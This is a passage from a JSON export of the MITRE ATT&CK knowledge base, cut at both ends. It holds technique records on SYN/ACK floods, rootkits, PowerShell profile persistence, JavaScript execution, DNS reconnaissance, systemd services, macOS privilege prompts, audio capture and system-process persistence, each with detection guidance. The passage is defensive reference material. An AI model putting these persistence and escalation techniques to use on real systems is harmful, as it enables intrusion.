entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)","modified":"2022-04-19T23:12:31.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"OS Exhaustion Flood","x_mitre_detection":"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Sensor Health: Host Status","Network Traffic: Network Traffic Content"],"x_mitre_system_requirements":[],"x_mitre_impact_type":["Availability"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","type":"attack-pattern","created":"2017-05-31T21:30:26.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1014","url":"https://attack.mitre.org/techniques/T1014"},{"external_id":"CAPEC-552","source_name":"capec","url":"https://capec.mitre.org/data/definitions/552.html"},{"url":"https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf","description":"Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.","source_name":"Symantec Windows Rootkits"},{"url":"https://en.wikipedia.org/wiki/Rootkit","description":"Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.","source_name":"Wikipedia Rootkit"},{"url":"https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/","description":"Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.","source_name":"CrowdStrike Linux Rootkit"},{"url":"http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf","description":"Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.","source_name":"BlackHat Mac OSX Rootkit"}],"modified":"2020-06-20T22:29:55.496Z","name":"Rootkit","description":"Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","Drive: Drive Modification","Firmware: Firmware Modification"],"x_mitre_defense_bypassed":["File monitoring","Host intrusion prevention systems","Application control","Signature-based detection","System access controls","Application control by file name or path","Anti-virus"],"x_mitre_permissions_required":["Administrator","SYSTEM","root"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Green","Allen DeRyke, ICE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","type":"attack-pattern","created":"2020-01-24T15:11:02.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546.013","url":"https://attack.mitre.org/techniques/T1546/013"},{"source_name":"Microsoft About Profiles","url":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6","description":"Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019."},{"source_name":"ESET Turla PowerShell May 2019","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."},{"source_name":"Wits End and Shady PowerShell Profiles","url":"https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html","description":"DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019."},{"url":"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf","description":"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.","source_name":"Malware Archaeology PowerShell Cheat Sheet"},{"source_name":"Microsoft Profiles","url":"https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles","description":"Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022."}],"modified":"2022-02-08T16:39:08.851Z","name":"PowerShell Profile","description":"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\n\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\\\\\[My ]Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\\\\\[My ]Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Command: Command Execution","Process: Process Creation","File: File Modification"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Cody Thomas, SpecterOps"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","type":"attack-pattern","created":"2020-06-23T19:12:24.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1059.007","url":"https://attack.mitre.org/techniques/T1059/007"},{"source_name":"NodeJS","url":"https://nodejs.org/","description":"OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020."},{"source_name":"JScrip May 2018","url":"https://docs.microsoft.com/windows/win32/com/translating-to-jscript","description":"Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020."},{"source_name":"Microsoft JScript 2007","url":"https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript","description":"Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript …. Retrieved June 23, 2020."},{"source_name":"Microsoft Windows Scripts","url":"https://docs.microsoft.com/scripting/winscript/windows-script-interfaces","description":"Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020."},{"source_name":"Apple About Mac Scripting 2016","url":"https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html","description":"Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021."},{"source_name":"SpecterOps JXA 2020","url":"https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5","description":"Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021."},{"source_name":"SentinelOne macOS Red Team","url":"https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/","description":"Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020."},{"source_name":"Red Canary Silver Sparrow Feb2021","url":"https://redcanary.com/blog/clipping-silver-sparrows-wings/","description":"Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021."},{"source_name":"MDSec macOS JXA and VSCode","url":"https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/","description":"Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021."}],"modified":"2021-08-16T21:02:05.142Z","name":"JavaScript","description":"Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nMonitor for execution of JXA through <code>osascript</code> and usage of <code>OSAScript</code> API that may be related to other suspicious behavior occurring on the system.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Module: Module Load","Script: Script Execution","Command: Command Execution"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea","type":"attack-pattern","created":"2020-10-02T15:47:10.102Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1590.002","url":"https://attack.mitre.org/techniques/T1590/002"},{"source_name":"DNS Dumpster","url":"https://dnsdumpster.com/","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."},{"source_name":"Circl Passive DNS","url":"https://www.circl.lu/services/passive-dns/","description":"CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:29:18.740Z","name":"DNS","description":"Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tony Lambert, Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e","type":"attack-pattern","created":"2019-04-23T15:34:30.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1501","url":"https://attack.mitre.org/techniques/T1501"},{"source_name":"Linux man-pages: systemd January 2014","url":"http://man7.org/linux/man-pages/man1/systemd.1.html","description":"Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."},{"source_name":"Freedesktop.org Linux systemd 29SEP2018","url":"https://www.freedesktop.org/wiki/Software/systemd/","description":"Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019."},{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."},{"description":"Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.","url":"https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a","source_name":"gist Arch package compromise 10JUL2018"},{"description":"Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.","url":"https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/","source_name":"Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018"},{"description":"Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.","url":"https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html","source_name":"acroread package compromised Arch Linux Mail 8JUL2018"},{"source_name":"Rapid7 Service Persistence 22JUNE2016","url":"https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence","description":"Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019."}],"modified":"2020-01-17T16:51:52.027Z","name":"Systemd Service","description":"Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: <code>systemctl list-units -–type=service –all</code>. Analyze the contents of <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as <code>/usr/sbin/service</code> may reveal malicious systemd service execution.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["root","User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Erika Noerenberg, @gutterchurl, Carbon Black","Jimmy Astle, @AstleJimmy, Carbon Black"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca","type":"attack-pattern","created":"2019-08-08T14:29:37.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1514","url":"https://attack.mitre.org/techniques/T1514"},{"source_name":"AppleDocs AuthorizationExecuteWithPrivileges","url":"https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg","description":"Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019."},{"source_name":"Death by 1000 installers; it's all broken!","url":"https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8","description":"Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019."},{"source_name":"Carbon Black Shlayer Feb 2019","url":"https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."},{"source_name":"OSX Coldroot RAT","url":"https://objective-see.com/blog/blog_0x2A.html","description":"Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019."}],"modified":"2020-02-05T20:13:51.857Z","name":"Elevated Execution with Prompt","description":"Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating.  This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":["root"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","type":"attack-pattern","created":"2017-05-31T21:31:34.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1123","external_id":"T1123"},{"external_id":"CAPEC-634","source_name":"capec","url":"https://capec.mitre.org/data/definitions/634.html"}],"modified":"2020-07-14T19:42:10.235Z","name":"Audio Capture","description":"An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","created":"2020-01-10T16:03:18.865Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1543","url":"https://attack.mitre.org/techniques/T1543"},{"source_name":"AppleDocs Launch Agent Daemons","url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html","description":"Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017."},{"source_name":"TechNet Services","url":"https://technet.microsoft.com/en-us/library/cc772408.aspx","description":"Microsoft. (n.d.). Services. Retrieved June 7, 2016."},{"source_name":"OSX Malware Detection","url":"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf","description":"Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)  ","modified":"2022-04-20T16:52:58.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Create or Modify System Process","x_mitre_detection":"Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.  \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","Service: Service Creation","Service: Service Modification","Command: Command Execution","File: File Creation","Driver: Driver Load","Process: OS API Execution","Process: Process Creation","Windows Registry: Windows Registry Key Modification","File: File Modification"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":[],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Linux","Containers","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ExtraHop","David Fiser, @anu4is, Trend Micro","Alfredo Oliveira, Trend Micro","Idan Frimark, Cisco","Rory McCune, Aqua Security","Yuval Avrahami, Palo Alto Networks","Jay Chen, Palo Alto Networks","Brad Geesaman, @bradgeesaman","Magno Logan, @magnologan, Trend Micro","Ariel Shuper, Cisco","Yossi Weizman, Azure Defender Research Team","Vishwas Manral, 